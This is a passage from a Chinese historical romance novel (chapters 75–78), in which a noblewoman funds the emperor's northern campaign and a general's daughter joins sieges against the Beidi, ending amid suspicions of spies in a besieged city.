苏余兴气得吃不下,明氏担心他,也没用多少,一桌早饭,倒是苏扶楹吃了不少。 用茶水漱口后,苏扶楹道:“我要十万两的嫁妆钱。” “噗——” 苏余兴一口茶喷了出来,眼珠子瞪圆,满目不可置信,“你说多少?!十万两!你怎的不去抢?!” 苏扶楹瞧着他,轻笑了声,“父亲不给我,是要留给苏遮?听闻,他近日与几个狐朋狗友在京中赌坊很是扬名。” 苏余兴脸黑了。 这个操蛋犊子! “十万两,不过是父亲名下私产的半数,我给苏遮留五万两,也是我这个做嫡姐的待他不薄了,父亲不是常说,日后我出嫁,苏遮便是我在夫家的底气和倚仗?可父亲想想,是来日我劳烦苏遮的时日多呢,还是苏遮来求我的时日久呢?” 苏余兴脸色沉重。 他再是不愿承认,可苏遮不成器之事无可争辩。 翌日,苏扶楹让人往宫里递了折子,直至傍晚,方才收到平嘉太后派人来传的信儿。 隔日,辰时刚过,苏扶楹乘坐马车进了宫。 这次,没有平嘉太后身边的嬷嬷来接,她带着丫鬟,穿过甬长的宫道,慢慢的往福寿宫走。 天冷,宫道上难得见着宫人清扫。 她过去时,正好碰见了来福寿宫的赵徵。 睽别已久,过往的那点子旖旎心思,经寒风一吹,尽数散了。 苏扶楹福身给赵徵行礼,“臣女见过官家。” “起来吧。”赵徵淡淡说了句,“阿絮也多念你,给太后请了安,去看看她吧。” 苏扶楹怔了下,望着赵徵。 忽觉他有哪里变了,可若细究,却又说不出来。 “是。”苏扶楹道,略顿了顿,她说:“不知大军北征,粮草可够?我这里有十万两,虽是不多,但也足以解燃眉之急,还望将士们身暖腹饱,连战连胜,来日凯旋。” 赵徵抬起的脚落下,侧首看她,默了片刻,问:“你想要什么?” 苏扶楹唇角弯了弯,“我要镇国公府不倒,要来日苏余兴若是犯蠢,官家能保全镇国公府,苏遮不行,苏家还有旁人。” 第75章 羊肉汤配炊饼,不虚此行…… 与北狄正式宣战,徐鉴实被赵徵圣旨诏回了汴京。 徐九涣却是没同道回家,赖在军营里昼伏夜出。他整日不出帐子,只有傍晚时将士篝火烤肉,他跑出来蹭得满嘴油,舒舒服服的揉着肚子去泡澡睡觉了。 是呢,这厮还要泡澡! 在这营中委实是算得上奢靡! 老八还跟着徐九涣,每日替他烧洗澡水,苦不堪言。 而因着那日被袭城时的雷火弹,华缨在军中如今可谓是声名鹊起,营中的大小将军无人见识过她的功夫,可是谁都看见了哪日清晨时,她鲜衣怒马的自那烟雾中腾跃而出。 帐中原是陈将军主事,自尹老将军挂帅,率三万将士抵达边关,陈将军便退至一旁,尽听调令。 此刻,帐中一众将军在议事,商议明日攻伐北狄之计,华缨也在,缩在旁边竖着耳朵听。 燕云五州,离云中镇最近的一座城池叫云北镇,如今乃是北狄边关的驻军所在,若是奔袭,往返不过大半日的功夫。 战略部署商议罢,尹老将军又道:“粮草和云中百姓的安危,便仰赖陈将军了,明日大军便拔营,出发攻打云北。” 今岁的天儿也当真怪异的紧,快到腊月了,边关竟是还未落雪,只接连的阴云密布,寒风簌簌。 帐中炭盆都将燃尽,猩红的火光将歇未歇。 华缨搓搓冰凉的手,偷悄儿的去朝炭盆里添了两块炭火。 军中不知怎么,粮草紧缺之事传得沸沸扬扬,如今莫说是多吃碗饭,便是添块炭火都要斟酌再三。可见,北狄到底是多招人恨,将士们宁愿节衣缩食,也对攻伐之事刻不容缓。 帐中几个小将争先恐后的毛遂自荐,想要充当先锋先行探路。 士气高涨是好事,尹老将军点了几个,其中便有一华缨熟悉之人——姚明山。 此次西营的兵马尽数调出,在汴京混日子的少年郎,可算是多了个扬名立功的好时机。 姚明山也摩拳擦掌,跃跃欲试。 华缨缩回手,悄悄坐回来,便听尹老将军喊她名儿。 “华缨可要去?” 帐中的目光顿朝某个角落看去,就见那颗毛脑袋唰的抬起了,姑娘漂亮的桃花眼中尽是欢喜。 华缨咧嘴笑,矜持道:“好啊!” 西营的将士是见过华缨与尹老将军那场酣畅淋漓的比试的,可是帐中几位边关的将军却是不知,面面相觑,气氛有些怪异。 习武之人,从身形是能瞧得出几分的,华缨身姿挺拔,胜过寻常姑娘,可战场非儿戏,先锋军更是危险,若是武艺不精,只会牵累旁人。 但华缨答得这样快,旁人哪怕是心有微词,也不好在这个时候驳她脸面。 姚明山在旁边戳戳华缨肩膀,幸灾乐祸的拱火道:“他们还看不上你呢。” 华缨透亮的眼珠子朝旁边瞥,看着姚明山欢愉得两排大白牙,幽幽道:“就你聪明。” 姚明山:。 陈将军朝华缨看来一眼,眼底神色有些复杂。 几日前再次见到徐九涣,他才方知那日战场上的恍惚之感,原是故人之子,那人一身风姿,他再看眼前的华缨,如看旧人。 今日天晴,日光透过云层洒在身上,众人自主帐出来,三三两两的结伴说话,大抵是因明日将拔营启程,心情很不错。 华缨也欢喜呀,晌午的面都多吃了一碗呢。 徐九涣吃完,又坐去案前捣鼓去了。 片刻,见华缨放下碗筷,老八闷在面条碗里呼噜的脑袋抬了起来,做贼似的,从衣袖里抽出一张信笺来,吭哧着递给她,窘迫道:“我、我不知如何回……” 华缨不解,伸手接过,展开便见上书‘万事当心’四字。 她瞧着那字迹,瞬即愣住了。 赵徵到底是祖父的学生呢,字迹也学得几分,凤彰龙姿,铁画银钩,潦草得好看。 “我都没敢跟主子说,我被你发现了踪迹……”老八颇为委屈的小声道。 华缨眨了眨有些发烫的眼睛,樱红的唇动了动,却是没发出声儿。 老八没察觉她的神色,挠了挠脑袋又说:“但我也不能骗主子。” 华缨深吸口气,压下喉口的微涩,语气如寻常的问:“要我帮你?” “可以吗?”老八有些憨的眼睛骤然亮起,连连点头,感激之情溢于言表! 华缨却是脑袋一歪,手托腮,勾着唇笑道:“但我不能白帮你。” 天底下当真是不能吃白饭! 老八摸摸两袖的清风,半晌,自靴子里摸出一锭银子来。 华缨:…… “只有这五两了。”老八满脸肉疼道。 华缨好努力,才没掩唇捂鼻,嫌弃得正大光明,她声若蚊蝇,一字一顿道:“收、起、来。” 话音未落,就见这人有原封不动的将那锭银子塞进了靴筒里。 华缨无语的闭了闭眼,恨不得将鼻子也封上才好。 过了好片刻,在那双灼灼目光下,她晃了晃手里的信笺,无力道:“这个给我做报酬。” “啊?”老八不解,“你要这个做甚?” “管家御笔亲书,拿去换银子啊,千金难求。”华缨悠悠道。 老八懵了一瞬,呐呐道:“这么贵吗?那先前的我都烧了,岂不是浪费了千金……” 帐中另一侧,嗓音幽幽—— “听她忽悠。” 华缨扭身瞪过去,不满道:“我是亲闺女!” 伏案正忙的徐九涣头也不抬,啧声嫌弃道:“当真是耳朵生茧。” “哼!” 不过,华缨这话也当真是唬人,御笔亲书,哪里能拿去换银子? 只是被爹爹洞悉她想法,也当真是让人难为情的紧呢。 一纸信笺,多瞧几次,都要揉烂了似的。 华缨将那纸张折好塞进香包里,藏进了味涩苦的王不留行里。 翌日,天还未亮,三千先锋军拔营启程。 华缨背着小包袱,挥别了营帐前目送的老父亲,毅然踏上了征程。 姚明山与另两位先锋官——周阳、岑禄各领一千人马,三人都是西营的,先前姚明山跟在大伯武定伯麾下,周阳和岑禄是跟着尹老将军的。 大抵是存了照顾之心,华缨骑着爹爹给她的宝马,被左右夹击走在中间。 出城往北去,行过几十里,路遇北狄斥候,周阳眼疾手快,手持弯弓,将人射杀了。 “驾——” 日光初升里,马蹄声如雷。 兵临云北城下时,日头初升。 姚明山和周阳带人分头巡视,以防敌军偷袭,岑禄则是指挥底下的人安营扎帐。 华缨闲人一个,掂着手里的雷火弹,望着云北镇的城门。 若非赵徵穷死了,连粮草都凑不齐,她当真是想试试这雷火弹,能否炸开这道城门。 “阿嚏!” 崇政殿,赵徵克制着打了个喷嚏。 闻津见状,连忙端来一碗热茶,“官家歇歇吧。” 这夜以继日的,谁遭得住? 案牍成摞,时近年节,各地都送来了折子,还有回京述职的官员,琐事繁杂,便是闻津瞧着,都觉头疼的紧,更何况,他主子还调来了各部的卷宗。 偌大的书案,此时连放碗茶都要挑空。 赵徵抬手接过,神色难掩困倦,将茶吃了,道:“香炉添些香。” 闻津接过茶碗,有些犹豫,“太医说,那熏香虽是能提神醒脑,但也可长久的用,只怕是对龙体有碍。” “无妨,我心里有数。” 他语气不容辩驳,闻津只好去将熄了的香炉重新点上。 傍晚,夜色将沉时,暗卫来禀。 “主子,老八来信了。” 伏案的人身形顿了下,抬首望来。 身后寒风卷起棉帘,几缕月色漏光涌了进来。 安静得有些久,暗卫有些不知所以然的朝闻津看了眼。 “拿来吧。”赵徵按了按肿胀的额角说。 暗卫连忙将信鸽腿上绑着的小竹筒解下,递给闻津。 闻津呈了上去。 桌案上烛火跳跃,赵徵将竹塞拔出,抽出其中信笺,两指展开,却是半晌未动。 闻津吞了吞口水,小心翼翼的问,“官家,可是出事了?” 赵徵没说话,与那信笺上丑兮兮的小人儿胡瞪眼。 作画之人,大抵是心知自己的画技不佳,抛弃了形似,黑豆儿似的眼睛看着展信之人,手里还抱着个比脑袋都大的碗,憨态可掬。 旁边有作画者提笔,羊肉汤配炊饼,不虚此行。 是夜,赵徵吃完了一碗羊肉汤,尝了一张炊饼,是闻津悄悄出宫,从街上买来的。 赵徵想,也不过尔尔。 片刻,他对着北边送来的公文,又想,大抵是那里的羊汤炊饼,才格外让人喜欢。 …… 赵徵调阅各部的卷宗公文之事,消息不胫而走。 朝中官员皆紧了皮子,风声鹤唳。 户部尚书也愁,先前说粮草不足之事,官家斩钉截铁的说,定不会断了边关将士的粮草。他还想着,官家要自哪里抠搜银子,却是没想,比起节流,他倒是要开源! 新帝登基不过小半年,说实话,便是朝中有贪赃枉法的,官家这会儿动朝臣,非是良机,一着不慎,唯恐朝堂动荡。可边关战事紧急,粮草之事更是急啊。 户部尚书焦躁不安,唇角都长了燎泡,转头一看,徐鉴实竟是有闲心煮茶喝。 察觉到他的目光,徐鉴实抬手,有礼问:“尚书大人可要尝尝?” 户部尚书坐过来,还未说话,便先长叹了声气。 他们都是历了三朝的元老,在成禧帝时科考入仕,受遗诏辅佐昌隆帝,如今到景祐帝,吾帝年少,而他们却是两鬓斑白,耋耄老矣。 “官家瞧着是要清查朝中贪污,太傅如何看?” 户部尚书低声问。 “明君所为。”徐鉴实道。 户部尚书:? 问你这个了? 第76章 孤城。 腊月初一,苏扶楹出阁。 因刚出国丧,便是鼓乐都省了,只门前挂着红绸,红纸灯笼,且博望侯府没落,来吃席观礼的宾客都寥寥,这亲事并未多热闹,。 月上柳梢,宾客散尽。 魏青鹤回到院子,望着正房窗纸上倒映的烛火,脚步微滞。 苏扶楹的贴身丫鬟瞧见了他,连忙福身道:“世子爷。” 魏青鹤‘嗯’了声,道:“与少夫人说,我身上酒气重,在偏房洗过再过去。” 丫鬟愣了下,“……是。” 魏青鹤说这话时,声音并未压低几分,屋里的苏扶楹听得真切,唇角不觉轻翘了下,似是觉得好笑。 约莫半刻,魏青鹤换了身正红薄袍子过来。 苏扶楹起身迎了两步,“郎君。” 她身上穿着件水红色的里衣,发冠在合卺酒礼后便拆了,刚沐浴洗过,脸上不见了拜堂时的艳色,面容清丽,神色平静。 也大抵是因那脸上太过平静之故,惹得魏青鹤朝她多瞧了两眼。 “洗过了?”魏青鹤问。 苏扶楹‘嗯’了声。 室中静了须臾,藏着些不甚熟稔的窘迫。 “那安置吧。”魏青鹤道。 苏扶楹朝桌案上还未燃多少的红烛扫了眼,没说话,跟着魏青鹤朝内室走。 自先朝起,姑娘家出嫁时,新婚夜有坐红烛的习俗,寓意着新媳妇儿的矜持,待得红烛燃尽,方可行周公之礼。 魏青鹤显然对此无知,苏扶楹也懒怠折腾自己,索性没提。 左右她都将这院子里伺候的丫鬟小厮打发了,门外守着的是自己的贴身丫鬟,这屋里的动静,传不到那继母耳朵里去。 “你惯睡里侧还是外侧?”站在榻前,魏青鹤喉结滚了下,问道。 苏扶楹想起从前读书时,嬷嬷教导,女子成亲后,要睡外侧,便于夜里伺候夫君喝水起夜。 她向来学得好,这话也许久没忘。 但魏青鹤这样问,苏扶楹朝床榻内侧轻指了下。 她存了试探之心,却是见魏青鹤好似也松了口气。 夫妻二人默然的各自脱了外裳,穿着红色里衣进了床榻。 忽的,苏扶楹膝盖被什么咯了下,一双细眉蹙起,不禁轻嘶了声。 “怎么了?” 魏青鹤闻声侧首看来。 苏扶楹摇首,掀开了锦被。 红色鸳鸯百子帐,鸳鸯锦被里藏着桂圆莲子花生和红枣。 “……” 二人瞧着那喜庆之物片刻,双颊都染了些绯红。 魏青鹤用衣袍拢着,将这些意含催生的拿去了外室桌上,鼻尖没有那股子萦绕着的香气,他轻轻呼出口气。 吃了碗凉茶,才神态自若的往内室去。 苏扶楹已经躺好了,魏青鹤瞧着那红帐之中的一抹雪白,喉结轻滑了下,掀开自己这侧的锦被躺了进去。 苏扶楹等了片刻,旁边的人似乎没有兴致,她卷着锦被侧身,想要将里衣穿好,忽的,一只手欺了过来,后背贴上了一具胸膛。 苏扶楹一顿,被这陌生感惊得轻颤了下。 她感觉到身后的人动作有一瞬的停顿。 苏扶楹有些脸热,轻声道:“我以为你不想。” 魏青鹤闷笑了声,语气揶揄:“娘子当我是什么柳下惠?” 一夜要了三回水,魏青鹤身体力行的答了她那问话。 翌日,晨起敬茶。 苏扶楹侧首,示意丫鬟将那方元帕拿去给魏青鹤的继母余氏瞧,神色温婉娴静,却是没有新媳妇儿的羞赦。 魏青鹤那人,也不知从何处学来的迂腐,今晨时,将这方沾了点指腹血,随意糊弄人的帕子交给了丫鬟,却是将那新婚夜的元帕藏了。 “房中之事,与她瞧做甚。” 魏青鹤这般说,苏扶楹也没争辩什么,那等私物拿给余氏瞧,她实则也有些别扭的。 魏家几房人不少,敬茶请安便用了两刻钟。 用过早饭,博望侯夫人与余氏,正想跟苏扶楹训话,却是见外面天使来传旨,官家宣诏博望侯进宫。 这宣诏如晴日雷,府中众人都慌了。 博望侯腿都吓软了,还是被儿子扶着站起。 他们府上虽是沾着皇亲,可自公主殿下去后,与宫中往来便不密切了,如今因着赵徵清查,朝堂之上人人自危,生怕那悬梁的铡刀落在自个儿脑袋上,做了贼的博望侯也怕啊! 今儿倒好! 咵嚓! 博望侯再是哆嗦,也还是换上了官袍,跟着天使进了宫。 博望侯夫人也没了给新媳妇儿训话的心情,挥挥手,示意苏扶楹去吧。 继母余氏唇嗫喏了下,但到底是没敢在这个时候触霉头。 一日里,京中几家勋贵都被宣诏入了宫。 出来时,皆脸色灰败,被下人扶着上了马车,灰溜溜的出了宫道。 世无密墙,私底下勋贵们凑银子的事不少人知道,没过两日,运银子的车悄悄进了宫。 而博望侯府,苏扶楹出嫁时,嫁的是博望侯世子,三日回门,却是摇身一变,成了博望侯夫人。 那日在福寿宫前,苏扶楹说,她要赵徵保全苏家,但想来,这才是赵徵给她那十万两银的回礼。 苏扶楹虽是刚进府,但如今她才是侯府中名正言顺的女主人,一门多少夫人女眷,再是不愿,也只能干瞧着她收了中馈,重新制了规矩。 第一场雪前,边关的捷报送往了汴京。 不知是因先前一战,北狄士气大伤,还是他们当真英勇无敌呢,云北镇比众人预想的要顺利许多许多,不过十日便急攻了下来。 而赵徵大半月宵衣旰食,夙夜清查之事,也总算是告一段落。 尹老将军带人攻下云北镇的捷报,也替这段时日阴云密布的朝堂添了些喜气。 出了云北镇,便是如星落的燕州四镇——东西南北。 尹老将军与一众将领商讨罢,决定兵分三路,长驱深入,先行攻打燕南镇和燕北镇,若这两座城池能打下来,再行发兵燕东和燕西,既掐断了燕西的援兵,也可防他们大军陷入被夹击的危险。 赵徵在崇政殿处理积攒的公文时,华缨背刀跨马,与姚明山各领两千骑兵,出发前往燕南镇。 过了山关,便入了北狄腹地。 冬日里草疏树秃,不便掩藏。 可他们对这燕州四镇地势并不熟悉,所用的舆图也不过是前朝所作,历经百年,变化也是寻常,更何况,那舆图也并不精细。 “都当心,仔细埋伏!”姚明山喊。 “是!将军!” 士气如虹。 高兴啊。 谁承想云北镇这么好打,那些个北狄蛮子也不行啊。 姚明山一双鹰眼微眯,看着前方的关口,余光里,华缨一张脸也绷着,好似谁欠了她银子。 事实上,攻下云北镇,华缨就并未多高兴。 太顺了,顺得像是耶律宝和孟固安就是个草包。 比起他们势如长虹,华缨倒是宁愿相信,这是北狄在请君入瓮。 不过…… 华缨松开缰绳,手中的弓如弯月,羽箭离弦,势如破竹的朝百米外的不起眼草垛冲了去。 北地天寒地冻,多积雪,百姓收了庄稼,顺手会将麦苗堆在地里,等来年焚烧滋养土地,这样大小的草垛,一路来见过不少。 可这还是他们见华缨射出的第一箭,众人目光跟随,四周拔剑警戒。 等了一瞬,没有动静。 姚明山正要说话,就见华缨搭弓,竟是连发三箭! 祖宗诶,费银子呢。 却是不料,那草垛倒了,后面几十个身穿北狄骑装的弓箭手! 箭矢飞来,惊了战马。 原地乱作一团。 “杀——” “砰!” 乌烟瘴气,熊熊的火光点着了那晒干透的草垛,北狄的弓箭手瞬间所剩无几。 众人来不及震惊,搭弦拉弓,将寥寥几人射杀。 火势很快蔓延,尸首和着冬日泥土,烧成了一抨焦土。 大军继续前进。 姚明山咂舌问:“你怎确信那草垛后有伏兵?” “沿路的草垛,只有那个又大又圆。”华缨说。 “……”姚明山哑言。 华缨瞅着他有些无语的神色忍不住弯唇,这才又道:“农家干活儿,讲求的是顺手,你回头瞧瞧,这一路的草垛哪有这么靠在路边的?” 姚明山眉梢轻抬了下。 片刻,他有些肉疼道:“不过几十弓箭手,哪值得你用一颗雷火弹。” 旁人不知,他可是知道点的,徐九涣跟随大军,却是终日见不着人,便是躲在帐中制那雷火弹的。 虽是他不解,华缨一个姑娘家,怎不远万里的要跟着行军,可徐家不拦着,那想来是有事的。 这事,姚明山想,大抵就是华缨替徐九涣挡着那些个视线,让他能偷摸儿的制雷火弹。 “毫发无伤是最好。”华缨道。 爹爹给她雷火弹,便是要大军尽可能的尽数回家。 路上又遇几回埋伏,拖累了行军速度,两日一夜,华缨和姚明山率领的先锋军到达燕南镇城外十里时,天色已晚。 “先安营扎帐吧,另外两队先锋军还没到,约莫得明日了,”姚明山说,“我带人巡视上半夜,你守下半夜。” 华缨无异议,吃过干粮便睡了,一觉睡到日上三竿时,她瞪着帐顶想,姚明山大骗子! “醒了?” 听见动静,姚明山扭头看来。 今儿天朗气清,将连日的阴云都吹散了些。 另两队先锋也到了,正忙着扎营帐。 华缨过去,抬脚就朝姚明山踹了下,“做甚不喊醒我?” 姚明山往旁边躲了躲,用根枯木枝从燃尽的灰土堆里挖出个黑黢黢的东西扒拉给她,“当真是冤枉我,哪里是我没喊,你自个儿脑袋一缩,管他是谁。” 华缨想了想,扪心自问,这是她能干出来的事。 “这什么?”她瞪着地上那黑黢黢的问。 “烤羊粪蛋。”姚明山说。 华缨:…… “哈哈哈……逗你的,”姚明山将那黑黢黢的捡起,掰成了两半,“烤红薯,自个儿剥皮啃。” 外面烧得焦黑,里面的红薯心儿却是黄澄澄的,丝丝冒着热气儿,甜滋滋的。 华缨吃完半个,意犹未尽的舔了舔唇,却是见姚明山这厮别过脸,笑得肩膀直颤。 华缨:? 谁下毒将他毒傻了?! 两日后,尹老将军带着大军抵达燕南镇。 是日,一众将领在帐中商议明日攻城之计。 “过往都是云梯木桩的攻城,听闻徐大小姐手里还有雷火弹,不如……”那两撇胡子的将军话没说完,尽是心照不宣的暗示。 帐中众人皆循着他的目光,看向了炭火盆前小凳子上坐着的华缨,神色也是一副跃跃欲试。 华缨烤烤手背,又烤烤手心,抬眼迎着那些视线,看向那定海神针的人,道:“尹老将军觉得呢?” “可以一试。” 要攻开城门,便少不得损兵折将,若是雷火弹能将城门炸开,便减少了将士损失,这是好事。 “好啊。”华缨答得利索。 顿时,帐中气氛好似点燃了什么火星子,变得燥热。 华缨看着炭盆里猩红的火光,却是没说话。 翌日,兵分四路。 北城门乃是正门,有五千大军,剩余三个城门,尹老将军交代,只守城门,以防北狄兵将逃走。 姚明山守南城门,华缨则是揣着雷火弹,跟着尹老将军去了北城门。 燕南镇的守将,更像是儒士,寒风里,一副美髯飘动,身形笔直,瞧着有些文人风骨。 冯老将军说:“此人有北狄和中原的血统,你瞧他身形单薄,但他有着北狄人的力大无穷。” 华缨怔了下,漆黑的眼睛看着城墙上站着的那道身影,刷子似的眼睫,在眼睑下落下一片暗影。 雷火弹炸开了北城门,连带着一片城墙都有倒塌之迹,好似黑云压城。 守将战死,北狄的士卒们如树倒猢狲散。 攻伐如此之易,群情鼎沸。 华缨却是有什么压在心头,郁郁难消。 “怎么了,这副神色。”姚明山见她脸色不好,将肉臊面递给她,问了句。 华缨摇首,“你不觉得,此次北伐攻城太过容易了些?” 姚明山从手下士卒手里抢了刚盛好的面条,赶他重新去排队打饭,他自个儿倒是囫囵吞了一大筷,听见华缨这话,点头道:“是容易了些,你担心有变故?尹老将军征战多年,心里有数。” 说着,想起什么,他又问:“对了,你那雷火弹还是少用。” “怎么?”华缨咬着面扭头看向他。 “营中起了些风言风语,上回咱俩一道先锋来此,另两队的先锋军多少损失了些,心里约莫是有些微词。”姚明山说,“这东西虽好,但不患寡而患不均,时日一久,恐惹事端。” 华缨点头,闷闷道:“知道了。” “你别不高兴,人心嘛,就那样儿。”姚明山又说。 华缨‘哦’了声,“你羡慕我吗?” 姚明山好似听见了什么笑话儿,嗤笑了声,“羡慕啊,我都没摸过汗血宝马呢。” 华缨大气道:“一会儿给你我的。” “臭嘚瑟。” 华缨的预感,在大军夺下燕南镇第三日时成了真。 北狄军兵临城下。 燕州四镇不如云州几城池挨的近,便是宝马奔袭,也要一日光景。 闭城不出的燕南镇,好似被群狼环伺、孤立无援的孤城。 第77章 浑水摸鱼。 自攻城,连战连胜,帐中气氛当真是少见的低沉。 “援军何时到?”副将问。 此次攻打燕南镇,只动用了一半兵马,五千驻守云北镇,还有一万驻扎在营地。 尹老将军看着桌案上新制的舆图,默了片刻道:“且不急。” 众人神色微动,又都欲言又止。 “可长久闭城不出也不是法子,咱们带来的粮草撑不了多久,”副将道,他朝炭盆旁边的华缨看了眼,又道:“城门经那雷火弹炸了,此时摇摇欲坠,虽是派人修缮,也只怕无济于事。” 自雁门关往北,燕云五州的城门与绵延万里的城墙,都是工匠日夜不继、历时几年修筑的,坚固的很,为的便是防着北狄铁骑攻入我朝领土。 如今城门连带着一块城墙炸损,工匠便是修缮,这寒冬腊月的也为难。 帐中许多目光霎时都朝华缨瞧了去。 华缨搬着小杌子坐在炭盆边,眉眼垂着,寒风卷起帐帘,稀疏透进来的白日光,在她脸上斑驳跳跃,她好像没听见他们商议的话,不知在想什么。 姚明山一双粗眉皱起,语气冲得很,“将军这话何意?当日以雷火弹炸开城门不也是将军提议,如今出了事,倒是想起了华缨!放下碗就骂厨子,好意思吗?” “你!我就事论事罢了!”副将道。 “论的哪门子的事?今日帐中议事,便是要追责吗?” “我何曾说过!” “吵吵什么,北狄还未攻进来,倒是要自己先内讧了?”另一将军训斥道。 姚明山斜着眼朝那副将哼了声,抱臂倚在了一旁。 不大不小的争执,帐中气氛好似凝滞。 华缨不是木头,自能察觉到帐中气氛的微妙,与那些或明或暗的落在她身上的目光。 眼下情形也与华缨想的请君入瓮差不离。 北狄围城,是自燕州其余三镇调来的将士,加起来得有近万人,但奇怪的是,北狄领兵的将军每日城门前叫阵,却是未强攻,事有蹊跷,但也让人眼前云雾绕,瞧不真切。 而尹老将军按兵不动,既不应战,也不喊援军来,不知作何打算。 再次商议未果,众将悻悻散去。 华缨朝那满头华发的老将军看了眼,后者正专注的看着桌案的舆图,好似对帐中动静并不关切。 华缨想说什么,被姚明山抓住手臂拉出了营帐。 “那人说话就是放屁,你别往心里去。”姚明山说。 华缨眨了眨眼,才反应过来他说的‘那人’是谁。 她摇摇头,不甚在意。 提议的不是她,做主的也不是她,又与她何干? “那个、你……”姚明山神色变得有些忸怩尴尬,轻咳了声,才问出口,“你可是身子不适?” “啊?”华缨满面狐疑的瞅他。 似因尴尬,姚明山啧了声,眉头皱起道:“你们姑娘家,每月不是总有几日不适?你这几日魂不守舍的,不是因这事儿?” 华缨张了张唇,目瞪口呆。 半晌,她傻愣愣的目光都将姚明山瞧得脸红了,他正欲不耐的吭声,就听华缨咂舌道—— “姚明山,你能娶妻了。” 姚明山:? 冬日天黑的早,晌午饭不过两个时辰后,又吃晚饭。 华缨端着两碗面去了尹老将军营帐。 帐子里,两人吸溜面条。 尹老将军抹了把嘴,看向对面的女娃,“好奇我为何不发兵?” 除却战死的将士,如今燕南城中,他们的将士也有一万二,不比北狄围城的少,再者,初时军心大振,便是拼死一搏,谁输谁赢尚未可知。 可尹老将军却是有避战之意,城中微词不少,他也并非尽然不知。 华缨腮帮子鼓着,嚼吧嚼吧吞了,道:“是城中有情况?” 尹老将军松垮垮的眼皮抬了下,似是有些诧异她的敏锐。 “你知道?” 华缨捧着面碗喝了口汤,“不知道。” “但太师傅说,将军年轻时也是虎将,英勇事迹不少,不该是这般避战,如今既是迟迟不发号令,那想必是定有缘由。城外管不着,只能是城中了。” 尹老将军哈哈笑了两声,问:“那老东西还与你说我什么了?” 华缨漆黑的眼睛看着他,却是摇摇脑袋,“那不能与您说,不然,我岂不是背叛师门的孽徒?” “一师一徒,哪儿来的师门?”尹老将军故意笑话她道。 华缨想了想,脸上纯良的神色淡了淡,片刻,道:“一师二徒,可谓门也。” 尹老将军看着她没说话。 “将军那日提点之言,华缨记下了,也感念将军厚爱,”华缨目光平直的望着他,眼中敬仰,与瞧泰山一般,“可人之生来,若不能容于世人,我也不能长这样大,我信官家宽厚,也不以这身血脉为耻。” “若你当真如你所言般所想,又何必郁郁?”尹老将军说。 华缨:…… 好吧。 姜还是老的辣。 “我忧心战事。”华缨嘴硬道。 尹老将军翘了翘唇角,倒没再戳穿她。 “若是猜的不错,城中怕是有北狄埋伏的人在。” “北狄请君入瓮,这该是一早便商议好的,他们要将我们大军困在这座城里,一举歼灭,将军不请援军是对的。” 华缨白皙的脸上神色淡淡,穿着鹿皮靴子的腿脚蹬直,伸到了炭火盆边。 半晌,她又道:“可北狄赫赫有名的四位战神,耶律宝伤了手臂,算算时日,该是还未大好,另两位在城外叫阵,唯独不见孟固安。” 说着,华缨抬眼,二人目光对视,眸底皆沉默。 片刻,尹老将军道:“城中埋伏的,应当不是他,太大材小用了。” 华缨对孟固安知之甚少,只言片语的零碎几句,都是听徐九涣说的。 而如今的北狄汗王,心怀野心,也为人谨慎,如此之人,既是宠信孟固安,想来……是沆瀣一气,华缨小心眼的想。 …… 围城第五日。 尹老将军暗中派出去的人还未回来,城中却是出事了。 夜半被吵醒,华缨套上厚厚的棉袄,又扯了披风披上,出来时便见隔壁营帐的姚明山也穿戴整齐出来了,手中握着杆素木银枪。 “你也醒了?” 看见她,姚明山道。 华缨点点头,二人并肩朝尹老将军的营帐走。 操着一口胡语的百姓哭诉,自家未出阁的姑娘被军中士卒凌辱了,街坊都瞧见了狂徒跑走的身影。 人没抓到,但这夫妻俩这般言之凿凿,闻者伤心的哭诉,纵然旁人心中有疑,也不好在这关头说什么。 副将是个粗人,来搀扶那夫妻俩坐下,跪着的俩人却是如何都不起,一副有冤在身,攀浮木似的求着尹老将军做主,副将倒是急得脑门儿冒汗,看向了尹老将军。 尹老将军身上穿着中衣,披着件氅衣,问:“可报官了?” 这话一出,众人神色皆诧异。 便是那苦主夫妻也哭声一止,想来是被问得猝不及防,眼睛里皆是茫然。 当日攻城,尹老将军说,降将不杀。 是以,燕南城中的一些文官,如今都在府衙关着。 角落里,偷摸摸的往炭盆里添炭火的华缨,眉眼抬起了些,朝那案桌前威严的老将军看了眼。 “本将负责守城,断案冤情之事,还得报官,寻燕南城的府尹。” “可、可那狂徒是……” “无论他是何人,皆要府尹大人断案,将人捉拿归案。”尹老将军道。 热闹散了,天上还零零散散垂星,月儿高悬。 尹老将军吩咐亲卫,去保护那苦主,等得明日天亮,去府衙诉状。 姚明山抱着自己的宝贝银枪,问:“你觉不觉得有些蹊跷?” 华缨裹紧小披风,脑袋缩在兜帽里,真诚脸夸赞道:“哇~二表兄都长脑子了呢!” 姚明山:…… 不管是云北镇,还是燕南镇,大军攻城之前,尹老将军便三令五申的说过,这是我朝的疆土,如今住在城中的百姓也皆是我朝百姓,不可奸杀抢掠,若有违者,斩首示众。 军令如山,虽是保不齐有管不住自个儿的,但这关头出了这事,如何想都觉蹊跷。 “方才那妇人哭时,那男人的视线偷偷朝帐中将军们瞧,不知是在寻人还是怎么。”华缨道。 “你方才怎不说?”姚明山道。 华缨理直气壮道:“我又没有那妇人会哭。” “……” 华缨回帐去睡了。 营中的众将们却是难眠,心中狐疑,深更半夜的去查自己麾下的士卒了,以安自己的心。 翌日。 这桩冤情便上诉到了府衙,在城中闹得沸沸扬扬。 副将不解道:“将军,这若是那几人做戏,硬说是咱们营中的将士凌辱了百姓,到时激起民愤,生出乱子要如何?咱们又不能杀百姓!” 官家以‘仁德’治天下,别说这燕云五州从前是我朝的疆土,如今收回,那百姓也是我朝的百姓,就是北狄的百姓,他们若敢焚烧坑杀,回京也得提头面圣。 “浑水摸鱼。”尹老将军道。 副将皱着双粗眉,脸也皱皱巴巴的,明显没懂,摸什么鱼啊,他们池子都沸了! 将计就计。 华缨蹲在一旁想。 这百姓之中若是当真有北狄密探,经此一事,可不是要将他们营中情况摸透去?想得再坏些,昨夜那夫妻二人就是密探呢? 第78章 帝后。 因着府尹查案,接连几日,营中许多官府之人来。 营中忽的变得风声鹤唳,将士们瞧着那些陌生面孔神情不爽。 “不知尹老将军可方便一见?”府尹俯身求见道。 副将抱着刀,横眉冷对道:“我们将军不在营中,你有何事,尽管与我说。” 二人正从几顶营帐走过,便见华缨与一位医师迎面过来,行色匆匆。 “怎么了?”副将皱眉问。 医师躬身答:“将军……” “将军让医师替我煮碗驱寒的汤药。”华缨打断他的话,满脸真诚道。 副将:? 